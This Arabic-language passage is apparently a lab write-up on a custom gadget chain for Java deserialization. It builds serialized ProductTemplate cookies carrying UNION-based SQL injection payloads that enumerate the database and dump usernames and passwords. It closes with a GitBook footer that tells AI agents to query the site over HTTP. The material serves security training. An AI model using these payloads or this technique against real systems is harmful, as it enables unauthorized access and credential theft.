> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md).

# تطوير سلسلة أدوات مخصصة لإلغاء تسلسل Java

### تطوير سلسلة أدوات مخصصة لإلغاء تسلسل Java

**هدف المختبر**

هذه المختبر مبني على آلية جلسة تستخدم تسلسل Java. من خلال بناء \*\* سلسلة أدوات مخصصة\*\*، يمكن استغلال إلغاء التسلسل غير الآمن من أجل **استرجاع كلمة مرور المسؤول**، ثم الاتصال بهذا الحساب وحذف المستخدم **carlos**.

المعرّف المزوَّد:

* المستخدم: `wiener`
* كلمة المرور: `peter`

\*\* التحليل الأولي للجلسة\*\*

تظهر كوكي الجلسة المرصودة مشفَّرة بصيغة Base64:

{% code overflow="wrap" %}

```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d
```

{% endcode %}

بعد فك الترميز، يتضح بوضوح وجود تسلسل Java\*\*، مما يؤكد استخدام `ObjectInputStream` على جانب الخادم.

{% code overflow="wrap" %}

```bash
echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo
```

{% endcode %}

<figure><img src="/files/14bb1b0934223a4f3835ff046e3d8c483b04bbd8" alt=""><figcaption></figcaption></figure>

**الوصول إلى الشفرة المصدرية**

يوفر تعليق HTML رابطًا إلى نسخة احتياطية من كود Java المصدري:

```html
<!-- <a href=/backup/AccessTokenUser.java>مستخدم مثال</a> -->
```

<figure><img src="/files/03e7f5658a7aba84585897977b5bee46ad70888e" alt=""><figcaption></figcaption></figure>

محتوى `AccessTokenUser.java` الملف:

* فئة قابلة للتسلسل
* خاصيتان: `اسم المستخدم` و `accessToken`
* لا يوجد سلوك خطير يمكن استغلاله مباشرةً

```java
package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}
```

في `/backup` في المجلد، يلفت ملف آخر الانتباه: **`ProductTemplate.java`**.

<figure><img src="/files/300d505749c154e2953247de89a6744062442b72" alt=""><figcaption></figcaption></figure>

**فئة ضعيفة: ProductTemplate**

الـ `ProductTemplate` تنفذ الفئة `Serializable` وتعيد تعريف `readObject()` الطريقة.

النقاط الحرجة:

* الـ `readObject()` تُنفَّذ الطريقة تلقائيًا عند إلغاء التسلسل
* يُبنى استعلام SQL ديناميكيًا باستخدام `String.format`
* الـ `المعرّف` تُحقن المعلمة مباشرةً في الاستعلام دون تحقق

```java
String sql = String.format(
  "SELECT * FROM products WHERE id = '%s' LIMIT 1", id
);
```

```java
package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

```

**إنشاء حمولة Java**

لإنشاء كائن متسلسل صالح، يتم إنشاء مشروع Java محلي:

البنية الدنيا:

```bash
data/
└── productcatalog/
    ├── ProductTemplate.java
    └── Product.java
Main.java
```

تم تبسيط الفئات عمدًا للسماح فقط بـ **التسلسل**، دون منطق داخلي.

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("your-payload-here");

        String serializedObject = serialize(originalObject);

        System.out.println("الكائن المتسلسل: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("معرّف الكائن بعد إلغاء التسلسل: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**إنشاء ملف تعريف الارتباط الخبيث**

في `Main.java`، كائن `ProductTemplate` يتم تمييز الكائن بقيمة مُتحكَّم بها لـ `المعرّف`، ثم يُسلسل ويُشفَّر بصيغة Base64.

```java
// تمت إزالة كل المنطق من ProductTemplate لأنه غير مطلوب للتسلسل

package data.productcatalog;

import java.io.Serializable;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    public String getId() {
        return id;
    }
}
```

```bash
nvim data/productcatalog/Product.java
```

```java
// أُضيفت هذه الفئة فقط لكي يتمكن ProductTemplate من الترجمة بشكل صحيح

package data.productcatalog;
class Product {}
```

الاختبار الأول باستخدام فاصلة عليا بسيطة:

```java
        ProductTemplate originalObject = new ProductTemplate("'");
```

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("'");

        String serializedObject = serialize(originalObject);

        System.out.println("الكائن المتسلسل: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("معرّف الكائن بعد إلغاء التسلسل: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

يُرجع الخادم خطأ SQL، مما يؤكد عملية الحقن.

```bash
javac Main.java
java Main
```

<figure><img src="/files/6f6e5f192076978924655624222d851707e6e5c3" alt=""><figcaption></figcaption></figure>

```http
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
```

<figure><img src="/files/7ec8805471ef813085fdd5ba7260de5c118f17ff" alt=""><figcaption></figcaption></figure>

**استغلال حقن SQL**

1. **تحديد عدد الأعمدة**/ → تم تحديد 8 أعمدة

```java
        ProductTemplate originalObject = new ProductTemplate("' order by 8-- -");
```

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0=
```

<figure><img src="/files/a19d2048ce2ad771e8c2df9ecc91f5bcad5e958c" alt=""><figcaption></figcaption></figure>

**اختبار UNION SELECT**/ → العمود الرابع قابل للاستخدام

{% code overflow="wrap" %}

```bash
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - ";
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0
```

* **ملخص الجداول**
* الجدول المحدد: `users`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0=
```

<figure><img src="/files/be7942fd63809dfc4670c8908c60ea3c280fbc13" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -");
```

{% endcode %}

```
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt
```

<figure><img src="/files/51518a3ad21ac25d47b25511f73ba376aecf4894" alt=""><figcaption></figcaption></figure>

**تعداد الأعمدة**

* `اسم المستخدم`
* `كلمة المرور`
* `البريد الإلكتروني`

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -");
```

{% endcode %}

<figure><img src="/files/97321a3632bb126346e42fa0683bd48fbb3dafdd" alt=""><figcaption></figcaption></figure>

1. **استخراج بيانات الاعتماد**

{% code overflow="wrap" %}

```java
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -");
```

{% endcode %}

<figure><img src="/files/ba5cc88d375bb2ffd697df26ac170f5437ad6ac4" alt=""><figcaption></figcaption></figure>

الحمولة النهائية المحقونة في الكائن المتسلسل:

```java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM
users-- -");

        String serializedObject = serialize(originalObject);

        System.out.println("الكائن المتسلسل: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("معرّف الكائن بعد إلغاء التسلسل: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unchecked")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
```

**النتيجة المحققة**

بعد إرسال ملف تعريف الارتباط المتسلسل، يكشف رد الخادم عن بيانات الاعتماد:

```wit
administrator:sa47nyh8ebw4q0h7dvhn
wiener:peter
carlos:ig1e9avhmums5iac8rwa
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
